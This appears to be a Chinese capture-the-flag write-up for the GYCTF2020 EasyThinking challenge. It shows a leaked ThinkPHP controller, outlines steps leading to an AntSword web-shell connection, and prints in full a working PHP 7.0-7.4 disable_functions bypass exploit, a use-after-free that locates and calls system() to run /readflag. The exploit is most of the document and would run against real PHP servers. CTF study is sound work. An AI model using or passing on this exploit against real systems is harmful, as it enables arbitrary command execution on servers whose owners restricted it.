进入靶场
一开始那个题目名字就想到了框架
扫描目录
访问后自动下载了
找源码
<?php
namespace app\home\controller;use think\exception\ValidateException;
use think\facade\Db;
use think\facade\View;
use app\common\model\User;
use think\facade\Request;
use app\common\controller\Auth;class Member extends Base
{public function index(){if (session("?UID")){$data = ["uid" => session("UID")];$record = session("Record");$recordArr = explode(",", $record);$username = Db::name("user")->where($data)->value("username");return View::fetch('member/index',["username" => $username,"record_list" => $recordArr]);}return view('member/index',["username" => "Are you Login?","record_list" => ""]);}public function login(){if (Request::isPost()){$username = input("username");$password = md5(input("password"));$data["username"] = $username;$data["password"] = $password;$userId = Db::name("user")->where($data)->value("uid");$userStatus = Db::name("user")->where($data)->value("status");if ($userStatus == 1){return "<script>alert(\"该用户已被禁用,无法登陆\");history.go(-1)</script>";}if ($userId){session("UID",$userId);return redirect("/home/member/index");}return "<script>alert(\"用户名或密码错误\");history.go(-1)</script>";}else{return view('login');}}public function register(){if (Request::isPost()){$data = input("post.");if (!(new Auth)->validRegister($data)){return "<script>alert(\"当前用户名已注册\");history.go(-1)</script>";}$data["password"] = md5($data["password"]);$data["status"] = 0;$res = User::create($data);if ($res){return redirect('/home/member/login');}return "<script>alert(\"注册失败\");history.go(-1)</script>";}else{return View("register");}}public function logout(){session("UID",NULL);return "<script>location.href='/home/member/login'</script>";}public function updateUser(){$data = input("post.");$update = Db::name("user")->where("uid",session("UID"))->update($data);if($update){return json(["code" => 1, "msg" => "修改成功"]);}return json(["code" => 0, "msg" => "修改失败"]);}public function rePassword(){$oldPassword = input("oldPassword");$password = input("password");$where["uid"] = session("UID");$where["password"] = md5($oldPassword);$res = Db::name("user")->where($where)->find();if ($res){$rePassword = User::update(["password" => md5($password)],["uid"=> session("UID")]);if ($rePassword){return json(["code" => 1, "msg" => "修改成功"]);}return json(["code" => 0, "msg" => "修改失败"]);}return json(["code" => 0, "msg" => "原密码错误"]);}public function search(){if (Request::isPost()){if (!session('?UID')){return redirect('/home/member/login'); }$data = input("post.");$record = session("Record");if (!session("Record")){session("Record",$data["key"]);}else{$recordArr = explode(",",$record);$recordLen = sizeof($recordArr);if ($recordLen >= 3){array_shift($recordArr);session("Record",implode(",",$recordArr) . "," . $data["key"]);return View::fetch("result",["res" => "There's nothing here"]);}}session("Record",$record . "," . $data["key"]);return View::fetch("result",["res" => "There's nothing here"]);}else{return View("search");}}
}
这道一点都不会做,一头雾水,看wp
[GYCTF2020]EasyThinking Thinkphp6.0任意文件操作漏洞 绕过disable_function_thinkphp v6.0.7漏洞-CSDN博客
先注册再登陆
注册后登陆时抓包
访问
用蚁剑连接就行
<?php# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)pwn("/readflag");function pwn($cmd) {global $abc, $helper, $backtrace;class Vuln {public $a;public function __destruct() { global $backtrace; unset($this->a);$backtrace = (new Exception)->getTrace(); # ;)if(!isset($backtrace[1]['args'])) { # PHP >= 7.4$backtrace = debug_backtrace();}}}class Helper {public $a, $b, $c, $d;}function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for($j = $s-1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p+$j]);}return $address;}function ptr2str($ptr, $m = 8) {$out = "";for ($i=0; $i < $m; $i++) {$out .= chr($ptr & 0xff);$ptr >>= 8;}return $out;}function write(&$str, $p, $v, $n = 8) {$i = 0;for($i = 0; $i < $n; $i++) {$str[$p + $i] = chr($v & 0xff);$v >>= 8;}}function leak($addr, $p = 0, $s = 8) {global $abc, $helper;write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if($s != 8) { $leak %= 2 << ($s * 8) - 1; }return $leak;}function parse_elf($base) {$e_type = leak($base, 0x10, 2);$e_phoff = leak($base, 0x20);$e_phentsize = leak($base, 0x36, 2);$e_phnum = leak($base, 0x38, 2);for($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type = leak($header, 0, 4);$p_flags = leak($header, 4, 4);$p_vaddr = leak($header, 0x10);$p_memsz = leak($header, 0x28);if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write# handle pie$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;$data_size = $p_memsz;} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec$text_size = $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) = $elf;for($i = 0; $i < $data_size / 8; $i++) {$leak = leak($data_addr, $i * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);# 'constant' constant checkif($deref != 0x746e6174736e6f63)continue;} else continue;$leak = leak($data_addr, ($i + 4) * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);# 'bin2hex' constant checkif($deref != 0x786568326e6962)continue;} else continue;return $data_addr + $i * 8;}}function get_binary_base($binary_leak) {$base = 0;$start = $binary_leak & 0xfffffffffffff000;for($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = leak($addr, 0, 7);if($leak == 0x10102464c457f) { # ELF headerreturn $addr;}}}function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = leak($addr);$f_name = leak($f_entry, 0, 6);if($f_name == 0x6d6574737973) { # systemreturn leak($addr + 8);}$addr += 0x20;} while($f_entry != 0);return false;}function trigger_uaf($arg) {# str_shuffle prevents opcache string interning$arg = str_shuffle(str_repeat('A', 79));$vuln = new Vuln();$vuln->a = $arg;}if(stristr(PHP_OS, 'WIN')) {die('This PoC is for *nix systems only.');}$n_alloc = 10; # increase this value if UAF fails$contiguous = [];for($i = 0; $i < $n_alloc; $i++)$contiguous[] = str_shuffle(str_repeat('A', 79));trigger_uaf('x');$abc = $backtrace[1]['args'][0];$helper = new Helper;$helper->b = function ($x) { };if(strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed");}# leaks$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8;# fake valuewrite($abc, 0x60, 2);write($abc, 0x70, 6);# fake referencewrite($abc, 0x10, $abc_addr + 0x60);write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);if(!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}if(!($elf = parse_elf($base))) {die("Couldn't parse ELF header");}if(!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}if(!($zif_system = get_system($basic_funcs))) {die("Couldn't get zif_system address");}# fake closure object$fake_obj_offset = 0xd0;for($i = 0; $i < 0x110; $i += 8) {write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));}# pwnwrite($abc, 0x20, $abc_addr + $fake_obj_offset);write($abc, 0xd0 + 0x38, 1, 4); # internal func typewrite($abc, 0xd0 + 0x68, $zif_system); # internal func handler($helper->b)($cmd);exit();
}
?>
上传这个脚本,再访问这个文件就能得到flag